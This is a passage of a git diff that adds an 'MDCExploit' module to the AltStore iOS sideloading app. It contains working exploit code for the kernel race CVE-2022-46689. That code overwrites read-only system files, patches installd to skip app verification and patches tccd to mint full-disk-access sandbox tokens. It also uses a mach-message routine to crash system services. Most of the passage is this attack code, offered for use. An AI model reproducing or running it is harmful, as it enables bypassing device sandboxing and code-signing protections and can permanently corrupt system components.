(extension_token == nil) { + returnError = + [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:2 + userInfo:@{ + NSLocalizedDescriptionKey : @"tccd did not return an extension token." + }]; + } else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) { + returnError = [NSError + errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:3 + userInfo:@{ + NSLocalizedDescriptionKey : @"tccd patch failed: returned a media library token " + @"instead of an app sandbox token." + }]; + extension_token = nil; + } + completion(extension_token, returnError); + }); +} + +void grant_full_disk_access(void (^completion)(NSError* _Nullable)) { + if (!NSClassFromString(@"NSPresentationIntent")) { + // class introduced in iOS 15.0. + // TODO(zhuowei): maybe check the actual OS version instead? + completion([NSError + errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:6 + userInfo:@{ + NSLocalizedDescriptionKey : + @"Not supported on iOS 14 and below: on iOS 14 the system partition is not " + @"reverted after reboot, so running this may permanently corrupt tccd." + }]); + return; + } + NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory + inDomains:NSUserDomainMask][0]; + NSURL* sourceURL = + [documentDirectory URLByAppendingPathComponent:@"full_disk_access_sandbox_token.txt"]; + NSError* error = nil; + NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL + encoding:NSUTF8StringEncoding + error:&error]; + if (cachedToken) { + int64_t handle = sandbox_extension_consume(cachedToken.UTF8String); + if (handle > 0) { + // cached version worked + completion(nil); + return; + } + } + grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) { + if (error) { + completion(error); + return; + } + int64_t handle = sandbox_extension_consume(extension_token.UTF8String); + if (handle <= 0) { + completion([NSError + errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:4 + userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]); + return; + } + [extension_token writeToURL:sourceURL + atomically:true + encoding:NSUTF8StringEncoding + error:&error]; + completion(nil); + }); +} + +/// MARK - installd patch + +struct installd_remove_app_limit_offsets { + uint64_t offset_objc_method_list_t_MIInstallableBundle; + uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods; + uint64_t offset_data_const_end_padding; + // MIUninstallRecord::supportsSecureCoding + uint64_t offset_return_true; +}; + +struct installd_remove_app_limit_offsets gAppLimitOffsets = { + .offset_objc_method_list_t_MIInstallableBundle = 0x519b0, + .offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8, + .offset_data_const_end_padding = 0x79c38, + .offset_return_true = 0x19860, +}; + +static uint64_t patchfind_find_class_rw_t_baseMethods(void* executable_map, + size_t executable_length, + const char* needle) { + void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1); + if (!str_offset) { + return 0; + } + uint64_t str_file_offset = str_offset - executable_map; + for (int i = 0; i < executable_length - 8; i += 8) { + uint64_t val = *(uint64_t*)(executable_map + i); + if ((val & 0xfffffffful) != str_file_offset) { + continue; + } + // baseMethods + if (*(uint64_t*)(executable_map + i + 8) != 0) { + return i + 8; + } + } + return 0; +} + +static uint64_t patchfind_return_true(void* executable_map, size_t executable_length) { + // mov w0, #1 + // ret + static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6}; + void* offset = memmem(executable_map, executable_length, needle, sizeof(needle)); + if (!offset) { + return 0; + } + return offset - executable_map; +} + +static bool patchfind_installd(void* executable_map, size_t executable_length, + struct installd_remove_app_limit_offsets* offsets) { + struct segment_command_64* data_const_segment = nil; + struct symtab_command* symtab_command = nil; + struct dysymtab_command* dysymtab_command = nil; + if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command, + &dysymtab_command)) { + printf("no sections\n"); + return false; + } + if ((offsets->offset_data_const_end_padding = patchfind_get_padding(data_const_segment)) == 0) { + printf("no padding\n"); + return false; + } + if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods = + patchfind_find_class_rw_t_baseMethods(executable_map, executable_length, + "MIInstallableBundle")) == 0) { + printf("no MIInstallableBundle class_rw_t\n"); + return false; + } + offsets->offset_objc_method_list_t_MIInstallableBundle = + (*(uint64_t*)(executable_map + + offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) & + 0xffffffull; + + if ((offsets->offset_return_true = patchfind_return_true(executable_map, executable_length)) == + 0) { + printf("no return true\n"); + return false; + } + return true; +} + +struct objc_method { + int32_t name; + int32_t types; + int32_t imp; +}; + +struct objc_method_list { + uint32_t entsizeAndFlags; + uint32_t count; + struct objc_method methods[]; +}; + +static void patch_copy_objc_method_list(void* mutableBytes, uint64_t old_offset, + uint64_t new_offset, uint64_t* out_copied_length, + void (^callback)(const char* sel, + uint64_t* inout_function_pointer)) { + struct objc_method_list* original_list = mutableBytes + old_offset; + struct objc_method_list* new_list = mutableBytes + new_offset; + *out_copied_length = + sizeof(struct objc_method_list) + original_list->count * sizeof(struct objc_method); + new_list->entsizeAndFlags = original_list->entsizeAndFlags; + new_list->count = original_list->count; + for (int method_index = 0; method_index < original_list->count; method_index++) { + struct objc_method* method = &original_list->methods[method_index]; + // Relative pointers + uint64_t name_file_offset = ((uint64_t)(&method->name)) - (uint64_t)mutableBytes + method->name; + uint64_t types_file_offset = + ((uint64_t)(&method->types)) - (uint64_t)mutableBytes + method->types; + uint64_t imp_file_offset = ((uint64_t)(&method->imp)) - (uint64_t)mutableBytes + method->imp; + const char* sel = mutableBytes + (*(uint64_t*)(mutableBytes + name_file_offset) & 0xffffffull); + callback(sel, &imp_file_offset); + + struct objc_method* new_method = &new_list->methods[method_index]; + new_method->name = (int32_t)((int64_t)name_file_offset - + (int64_t)((uint64_t)&new_method->name - (uint64_t)mutableBytes)); + new_method->types = (int32_t)((int64_t)types_file_offset - + (int64_t)((uint64_t)&new_method->types - (uint64_t)mutableBytes)); + new_method->imp = (int32_t)((int64_t)imp_file_offset - + (int64_t)((uint64_t)&new_method->imp - (uint64_t)mutableBytes)); + } +}; + +static NSData* make_patch_installd(void* executableMap, size_t executableLength) { + struct installd_remove_app_limit_offsets offsets = {}; + if (!patchfind_installd(executableMap, executableLength, &offsets)) { + return nil; + } + + NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength]; + char* mutableBytes = data.mutableBytes; + uint64_t current_empty_space = offsets.offset_data_const_end_padding; + uint64_t copied_size = 0; + uint64_t new_method_list_offset = current_empty_space; + patch_copy_objc_method_list(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle, + current_empty_space, &copied_size, + ^(const char* sel, uint64_t* inout_address) { + if (strcmp(sel, "performVerificationWithError:") != 0) { + return; + } + *inout_address = offsets.offset_return_true; + }); + current_empty_space += copied_size; + ((struct + dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes + + offsets + .offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) + ->target = new_method_list_offset; + return data; +} + +bool patch_installd() { + dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_BACKGROUND, 0), ^{ + const char* targetPath = "/usr/libexec/installd"; + int fd = open(targetPath, O_RDONLY | O_CLOEXEC); + off_t targetLength = lseek(fd, 0, SEEK_END); + lseek(fd, 0, SEEK_SET); + void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0); + + NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength]; + NSData* sourceData = make_patch_installd(targetMap, targetLength); + if (!sourceData) { + NSLog(@"can't patchfind"); +// return ; + } + + if (!overwrite_file(fd, sourceData)) { + overwrite_file(fd, originalData); + munmap(targetMap, targetLength); + NSLog(@"can't overwrite"); +// return ; + } + munmap(targetMap, targetLength); + xpc_crasher("com.apple.mobile.installd"); + sleep(1); + + // TODO(zhuowei): for now we revert it once installd starts + // so the change will only last until when this installd exits +// overwrite_file(fd, originalData); + NSLog(@"patched"); +// return; + }); + return true; +} diff --git a/AltStore/MDCExploit/helpers.h b/AltStore/MDCExploit/helpers.h new file mode 100644 index 00000000..aaf9f943 --- /dev/null +++ b/AltStore/MDCExploit/helpers.h @@ -0,0 +1,12 @@ +#ifndef helpers_h +#define helpers_h + +char* get_temp_file_path(void); +void test_nsexpressions(void); +char* set_up_tmp_file(void); + +void xpc_crasher(char* service_name); + +#define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL)) + +#endif /* helpers_h */ diff --git a/AltStore/MDCExploit/helpers.m b/AltStore/MDCExploit/helpers.m new file mode 100644 index 00000000..6231ec67 --- /dev/null +++ b/AltStore/MDCExploit/helpers.m @@ -0,0 +1,130 @@ +#import +#include +#include +#include + +char* get_temp_file_path(void) { + return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]); +} + +// create a read-only test file we can target: +char* set_up_tmp_file(void) { + char* path = get_temp_file_path(); + printf("path: %s\n", path); + + FILE* f = fopen(path, "w"); + if (!f) { + printf("opening the tmp file failed...\n"); + return NULL; + } + char* buf = malloc(PAGE_SIZE*10); + memset(buf, 'A', PAGE_SIZE*10); + fwrite(buf, PAGE_SIZE*10, 1, f); + //fclose(f); + return path; +} + +kern_return_t +bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp); + +struct xpc_w00t { + mach_msg_header_t hdr; + mach_msg_body_t body; + mach_msg_port_descriptor_t client_port; + mach_msg_port_descriptor_t reply_port; +}; + +mach_port_t get_send_once(mach_port_t recv) { + mach_port_t so = MACH_PORT_NULL; + mach_msg_type_name_t type = 0; + kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type); + if (err != KERN_SUCCESS) { + printf("port right extraction failed: %s\n", mach_error_string(err)); + return MACH_PORT_NULL; + } + printf("made so: 0x%x from recv: 0x%x\n", so, recv); + return so; +} + +// copy-pasted from an exploit I wrote in 2019... +// still works... + +// (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html ) + +void xpc_crasher(char* service_name) { + mach_port_t client_port = MACH_PORT_NULL; + mach_port_t reply_port = MACH_PORT_NULL; + + mach_port_t service_port = MACH_PORT_NULL; + + kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port); + if(err != KERN_SUCCESS){ + printf("unable to look up %s\n", service_name); + return; + } + + if (service_port == MACH_PORT_NULL) { + printf("bad service port\n"); + return; + } + + // allocate the client and reply port: + err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port); + if (err != KERN_SUCCESS) { + printf("port allocation failed: %s\n", mach_error_string(err)); + return; + } + + mach_port_t so0 = get_send_once(client_port); + mach_port_t so1 = get_send_once(client_port); + + // insert a send so we maintain the ability to send to this port + err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND); + if (err != KERN_SUCCESS) { + printf("port right insertion failed: %s\n", mach_error_string(err)); + return; + } + + err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port); + if (err != KERN_SUCCESS) { + printf("port allocation failed: %s\n", mach_error_string(err)); + return; + } + + struct xpc_w00t msg; + memset(&msg.hdr, 0, sizeof(msg)); + msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX); + msg.hdr.msgh_size = sizeof(msg); + msg.hdr.msgh_remote_port = service_port; + msg.hdr.msgh_id = 'w00t'; + + msg.body.msgh_descriptor_count = 2; + + msg.client_port.name = client_port; + msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send + msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR; + + msg.reply_port.name = reply_port; + msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND; + msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR; + + err = mach_msg(&msg.hdr, + MACH_SEND_MSG|MACH_MSG_OPTION_NONE, + msg.hdr.msgh_size, + 0, + MACH_PORT_NULL, + MACH_MSG_TIMEOUT_NONE, + MACH_PORT_NULL); + + if (err != KERN_SUCCESS) { + printf("w00t message send failed: %s\n", mach_error_string(err)); + return; + } else { + printf("sent xpc w00t message\n"); + } + + mach_port_deallocate(mach_task_self(), so0); + mach_port_deallocate(mach_task_self(), so1); + + return; +} diff --git a/AltStore/MDCExploit/vm_unaligned_copy_switch_race.c b/AltStore/MDCExploit/vm_unaligned_copy_switch_race.c new file mode 100644 index 00000000..c277c9a7 --- /dev/null +++ b/AltStore/MDCExploit/vm_unaligned_copy_switch_race.c @@ -0,0 +1,362 @@ +// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c +// modified to compile outside of XNU + +#include +#include +#include + +#include +#include +#include + +#include +#include + +#include "vm_unaligned_copy_switch_race.h" + +#define T_QUIET +#define T_EXPECT_MACH_SUCCESS(a, b) +#define T_EXPECT_MACH_ERROR(a, b, c) +#define T_ASSERT_MACH_SUCCESS(a, b, ...) +#define T_ASSERT_MACH_ERROR(a, b, c) +#define T_ASSERT_POSIX_SUCCESS(a, b) +#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0) +#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0) +#define T_ASSERT_TRUE(a, b, ...) +#define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__) +#define T_DECL(a, b) static void a(void) +#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__) + +struct context1 { + vm_size_t obj_size; + vm_address_t e0; + mach_port_t mem_entry_ro; + mach_port_t mem_entry_rw; + dispatch_semaphore_t running_sem; + pthread_mutex_t mtx; + volatile bool done; +}; + +static void * +switcheroo_thread(__unused void *arg) +{ + kern_return_t kr; + struct context1 *ctx; + + ctx = (struct context1 *)arg; + /* tell main thread we're ready to run */ + dispatch_semaphore_signal(ctx->running_sem); + while (!ctx->done) { + /* wait for main thread to be done setting things up */ + pthread_mutex_lock(&ctx->mtx); + if (ctx->done) { + pthread_mutex_unlock(&ctx->mtx); + break; + } + /* switch e0 to RW mapping */ + kr = vm_map(mach_task_self(), + &ctx->e0, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, + ctx->mem_entry_rw, + 0, + FALSE, /* copy */ + VM_PROT_READ | VM_PROT_WRITE, + VM_PROT_READ | VM_PROT_WRITE, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW"); + /* wait a little bit */ + usleep(100); + /* switch bakc to original RO mapping */ + kr = vm_map(mach_task_self(), + &ctx->e0, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ, + VM_PROT_READ, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO"); + /* tell main thread we're don switching mappings */ + pthread_mutex_unlock(&ctx->mtx); + usleep(100); + } + return NULL; +} + +bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length) { + bool retval = false; + pthread_t th = NULL; + int ret; + kern_return_t kr; + time_t start, duration; +#if 0 + mach_msg_type_number_t cow_read_size; +#endif + vm_size_t copied_size; + int loops; + vm_address_t e2, e5; + struct context1 context1, *ctx; + int kern_success = 0, kern_protection_failure = 0, kern_other = 0; + vm_address_t ro_addr, tmp_addr; + memory_object_size_t mo_size; + + ctx = &context1; + ctx->obj_size = 256 * 1024; + + void* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, file_to_overwrite, file_offset); + if (file_mapped == MAP_FAILED) { + fprintf(stderr, "failed to map\n"); + return false; + } + if (!memcmp(file_mapped, overwrite_data, overwrite_length)) { + fprintf(stderr, "already the same?\n"); + munmap(file_mapped, ctx->obj_size); + return true; + } + ro_addr = (vm_address_t)file_mapped; + + ctx->e0 = 0; + ctx->running_sem = dispatch_semaphore_create(0); + T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create"); + ret = pthread_mutex_init(&ctx->mtx, NULL); + T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init"); + ctx->done = false; + ctx->mem_entry_rw = MACH_PORT_NULL; + ctx->mem_entry_ro = MACH_PORT_NULL; +#if 0 + /* allocate our attack target memory */ + kr = vm_allocate(mach_task_self(), + &ro_addr, + ctx->obj_size, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr"); + /* initialize to 'A' */ + memset((char *)ro_addr, 'A', ctx->obj_size); +#endif + + /* make it read-only */ + kr = vm_protect(mach_task_self(), + ro_addr, + ctx->obj_size, + TRUE, /* set_maximum */ + VM_PROT_READ); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr"); + /* make sure we can't get read-write handle on that target memory */ + mo_size = ctx->obj_size; + kr = mach_make_memory_entry_64(mach_task_self(), + &mo_size, + ro_addr, + MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, + &ctx->mem_entry_ro, + MACH_PORT_NULL); + T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO"); + /* take read-only handle on that target memory */ + mo_size = ctx->obj_size; + kr = mach_make_memory_entry_64(mach_task_self(), + &mo_size, + ro_addr, + MAP_MEM_VM_SHARE | VM_PROT_READ, + &ctx->mem_entry_ro, + MACH_PORT_NULL); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO"); + T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size"); + /* make sure we can't map target memory as writable */ + tmp_addr = 0; + kr = vm_map(mach_task_self(), + &tmp_addr, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_ANYWHERE, + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ, + VM_PROT_READ | VM_PROT_WRITE, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw"); + tmp_addr = 0; + kr = vm_map(mach_task_self(), + &tmp_addr, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_ANYWHERE, + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ | VM_PROT_WRITE, + VM_PROT_READ | VM_PROT_WRITE, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw"); + + /* allocate a source buffer for the unaligned copy */ + kr = vm_allocate(mach_task_self(), + &e5, + ctx->obj_size * 2, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5"); + /* initialize to 'C' */ + memset((char *)e5, 'C', ctx->obj_size * 2); + + char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - 1); + memcpy(e5_overwrite_ptr, overwrite_data, overwrite_length); + + int overwrite_first_diff_offset = -1; + char overwrite_first_diff_value = 0; + for (int off = 0; off < overwrite_length; off++) { + if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) { + overwrite_first_diff_offset = off; + overwrite_first_diff_value = ((char*)ro_addr)[off]; + } + } + if (overwrite_first_diff_offset == -1) { + fprintf(stderr, "no diff?\n"); + return false; + } + + /* + * get a handle on some writable memory that will be temporarily + * switched with the read-only mapping of our target memory to try + * and trick copy_unaligned to write to our read-only target. + */ + tmp_addr = 0; + kr = vm_allocate(mach_task_self(), + &tmp_addr, + ctx->obj_size, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory"); + /* initialize to 'D' */ + memset((char *)tmp_addr, 'D', ctx->obj_size); + /* get a memory entry handle for that RW memory */ + mo_size = ctx->obj_size; + kr = mach_make_memory_entry_64(mach_task_self(), + &mo_size, + tmp_addr, + MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, + &ctx->mem_entry_rw, + MACH_PORT_NULL); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW"); + T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size"); + kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr); + tmp_addr = 0; + + pthread_mutex_lock(&ctx->mtx); + + /* start racing thread */ + ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx); + T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create"); + + /* wait for racing thread to be ready to run */ + dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER); + + duration = 10; /* 10 seconds */ + T_LOG("Testing for %ld seconds...", duration); + for (start = time(NULL), loops = 0; + time(NULL) < start + duration; + loops++) { + /* reserve space for our 2 contiguous allocations */ + e2 = 0; + kr = vm_allocate(mach_task_self(), + &e2, + 2 * ctx->obj_size, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0"); + + /* make 1st allocation in our reserved space */ + kr = vm_allocate(mach_task_self(), + &e2, + ctx->obj_size, + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240)); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2"); + /* initialize to 'B' */ + memset((char *)e2, 'B', ctx->obj_size); + + /* map our read-only target memory right after */ + ctx->e0 = e2 + ctx->obj_size; + kr = vm_map(mach_task_self(), + &ctx->e0, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241), + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ, + VM_PROT_READ, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro"); + + /* let the racing thread go */ + pthread_mutex_unlock(&ctx->mtx); + /* wait a little bit */ + usleep(100); + + /* trigger copy_unaligned while racing with other thread */ + kr = vm_read_overwrite(mach_task_self(), + e5, + ctx->obj_size - 1 + overwrite_length, + e2 + 1, + &copied_size); + T_QUIET; + T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE, + "vm_read_overwrite kr %d", kr); + switch (kr) { + case KERN_SUCCESS: + /* the target was RW */ + kern_success++; + break; + case KERN_PROTECTION_FAILURE: + /* the target was RO */ + kern_protection_failure++; + break; + default: + /* should not happen */ + kern_other++; + break; + } + /* check that our read-only memory was not modified */ +#if 0 + T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified"); +#endif + bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value; + + /* tell racing thread to stop toggling mappings */ + pthread_mutex_lock(&ctx->mtx); + + /* clean up before next loop */ + vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size); + ctx->e0 = 0; + vm_deallocate(mach_task_self(), e2, ctx->obj_size); + e2 = 0; + if (!is_still_equal) { + retval = true; + fprintf(stderr, "RO mapping was modified\n"); + break; + } + } + + ctx->done = true; + pthread_mutex_unlock(&ctx->mtx); + pthread_join(th, NULL); + + kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)"); + kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)"); + kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)"); + kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size * 2); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)"); + +#if 0 + T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d", + kern_success, kern_protection_failure, kern_other); + T_PASS("Ran %d times in %ld seconds with no failure", loops, duration); +#endif + return retval; +} diff --git a/AltStore/MDCExploit/vm_unaligned_copy_switch_race.h b/AltStore/MDCExploit/vm_unaligned_copy_switch_race.h new file mode 100644 index 00000000..86392894 --- /dev/null +++ b/AltStore/MDCExploit/vm_unaligned_copy_switch_race.h @@ -0,0 +1,8 @@ +#pragma once +#include +#include +/// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `file_to_overwrite` with `overwrite_data`, starting from `file_offset`. +/// `file_to_overwrite` should be a file descriptor opened with O_RDONLY. +/// `overwrite_length` must be less than or equal to `PAGE_SIZE`. +/// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable. +bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length); diff --git a/AltStoreCore/Model/InstalledApp.swift b/AltStoreCore/Model/InstalledApp.swift index 77c49513..59cc2312 100644 --- a/AltStoreCore/Model/InstalledApp.swift +++ b/AltStoreCore/Model/InstalledApp.swift @@ -6,14 +6,14 @@ // Copyright © 2019 Riley Testut. All rights reserved. // -import Foundation import CoreData +import Foundation import AltSign import SemanticVersion // Free developer accounts are limited to only 3 active sideloaded apps at a time as of iOS 13.3.1. -public let ALTActiveAppsLimit = 3 +public let ALTActiveAppsLimit = 99999 public protocol InstalledAppProtocol: Fetchable { @@ -56,18 +56,21 @@ public class InstalledApp: NSManagedObject, InstalledAppProtocol @NSManaged public private(set) var loggedErrors: NSSet /* Set */ // Use NSSet to avoid eagerly fetching values. - public var isSideloaded: Bool { + public var isSideloaded: Bool + { return self.storeApp == nil } - @objc public var hasUpdate: Bool { + @objc public var hasUpdate: Bool + { if self.storeApp == nil { return false } if self.storeApp!.latestVersion == nil { return false } let currentVersion = SemanticVersion(self.version) let latestVersion = SemanticVersion(self.storeApp!.latestVersion!.version) - if currentVersion == nil || latestVersion == nil { + if currentVersion == nil || latestVersion == nil + { // One of the versions is not valid SemVer, fall back to comparing the version strings by character return self.version < self.storeApp!.latestVersion!.version } @@ -75,16 +78,18 @@ public class InstalledApp: NSManagedObject, InstalledAppProtocol return currentVersion! < latestVersion! } - public var appIDCount: Int { + public var appIDCount: Int + { return 1 + self.appExtensions.count } - public var requiredActiveSlots: Int { + public var requiredActiveSlots: Int + { let requiredActiveSlots = UserDefaults.standard.activeAppLimitIncludesExtensions ? self.appIDCount : 1 return requiredActiveSlots } - private override init(entity: NSEntityDescription, insertInto context: NSManagedObjectContext?) + override private init(entity: NSEntityDescription, insertInto context: NSManagedObjectContext?) { super.init(entity: entity, insertInto: context) } @@ -132,7 +137,8 @@ public class InstalledApp: NSManagedObject, InstalledAppProtocol let alternateIconURL = self.alternateIconURL let fileURL = self.fileURL - DispatchQueue.global().async { + DispatchQueue.global().async + { do { if hasAlternateIcon, @@ -255,7 +261,8 @@ public extension InstalledApp public extension InstalledApp { - var openAppURL: URL { + var openAppURL: URL + { let openAppURL = URL(string: "altstore-" + self.bundleIdentifier + "://")! return openAppURL } @@ -269,7 +276,8 @@ public extension InstalledApp public extension InstalledApp { - class var appsDirectoryURL: URL { + class var appsDirectoryURL: URL + { let baseDirectory = FileManager.default.altstoreSharedDirectory ?? FileManager.default.applicationSupportDirectory let appsDirectoryURL = baseDirectory.appendingPathComponent("Apps") @@ -279,7 +287,8 @@ public extension InstalledApp return appsDirectoryURL } - class var legacyAppsDirectoryURL: URL { + class var legacyAppsDirectoryURL: URL + { let baseDirectory = FileManager.default.applicationSupportDirectory let appsDirectoryURL = baseDirectory.appendingPathComponent("Apps") print("legacy `appsDirectoryURL` is set to: \(appsDirectoryURL.absoluteString)") @@ -327,27 +336,33 @@ public extension InstalledApp return installedBackupAppUTI } - var directoryURL: URL { + var directoryURL: URL + { return InstalledApp.directoryURL(for: self) } - var fileURL: URL { + var fileURL: URL + { return InstalledApp.fileURL(for: self) } - var refreshedIPAURL: URL { + var refreshedIPAURL: URL + { return InstalledApp.refreshedIPAURL(for: self) } - var installedAppUTI: String { + var installedAppUTI: String + { return InstalledApp.installedAppUTI(forBundleIdentifier: self.resignedBundleIdentifier) } - var installedBackupAppUTI: String { + var installedBackupAppUTI: String + { return InstalledApp.installedBackupAppUTI(forBundleIdentifier: self.resignedBundleIdentifier) } - var alternateIconURL: URL { + var alternateIconURL: URL + { return InstalledApp.alternateIconURL(for: self) } } diff --git a/Build.xcconfig b/Build.xcconfig index 5dea5226..e2527913 100644 --- a/Build.xcconfig +++ b/Build.xcconfig @@ -1,7 +1,7 @@ // Configuration settings file format documentation can be found at: // https://help.apple.com/xcode/#/dev745c5c974 -MARKETING_VERSION = 0.3.0 +MARKETING_VERSION = 0.3.0-m-f1shy-mdc.11 CURRENT_PROJECT_VERSION = 3020 // Vars to be overwritten by `CodeSigning.xcconfig` if exists diff --git a/build.sh b/build.sh new file mode 100755 index 00000000..5e9cb9bd --- /dev/null +++ b/build.sh @@ -0,0 +1,17 @@ +rm -rf archive.xcarchive Payload *.ipa *.ipa.zip +xcodebuild -project AltStore.xcodeproj \ + -scheme AltStore \ + -sdk iphoneos \ + archive -archivePath ./archive \ + CODE_SIGNING_REQUIRED=NO \ + AD_HOC_CODE_SIGNING_ALLOWED=YES 